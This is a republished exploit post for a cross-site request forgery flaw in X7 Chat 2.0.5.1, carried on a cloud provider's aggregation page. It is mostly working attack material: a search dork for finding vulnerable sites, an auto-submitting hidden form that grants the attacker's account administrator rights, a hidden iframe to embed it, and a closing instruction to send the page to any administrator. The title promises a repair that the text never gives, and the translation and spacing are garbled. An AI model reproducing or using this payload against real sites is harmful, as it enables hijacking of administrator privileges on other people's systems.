X7 Chat 2.0.5.1 and earlier versions of CSRF add administrator defects and repair

Source: Internet
Author: User
Tags xform

Title: X7 Chat 2.0.5.1 CSRF Add Admin Exploit
 
Keywords: intitle: "Chat Room" "Powered By X7 Chat 2.0.5"
 
Author: DennSpec: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip
 
Affected Versions: <= 2.0.5.1
 
First, register and obtain a user name.

 
(Frame.html in path of your main html page)
 

 
<Html>
 
<Body onload = "document. xform. submit ();">
 
<Form name = "xform" action = "http: // www.2cto.com/x7path/index. php? Act = adminpanel & cp_page = users & update = YOURUSERNAME "method =" post ">
 
<Input type = "hidden" name = "username" value = "YOURUSERNAME"/>
 
<Input type = "hidden" name = "usergroup" value = "Administrator"/>
 
</Form>
 
</Body>
 
</Html>
 

 
Replace http://www.bkjia.com/x7path/for your destination address. Don't forget to replace YOURUSERNAME with YOURUSERNAME.
 

 
Add this code to inside body tag of main html page:
 
<Iframe style = "display: none;" src = "frame.html"> </iframe>
 

 
And... upload main page and frame.html.

Send this page to any administrator...

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.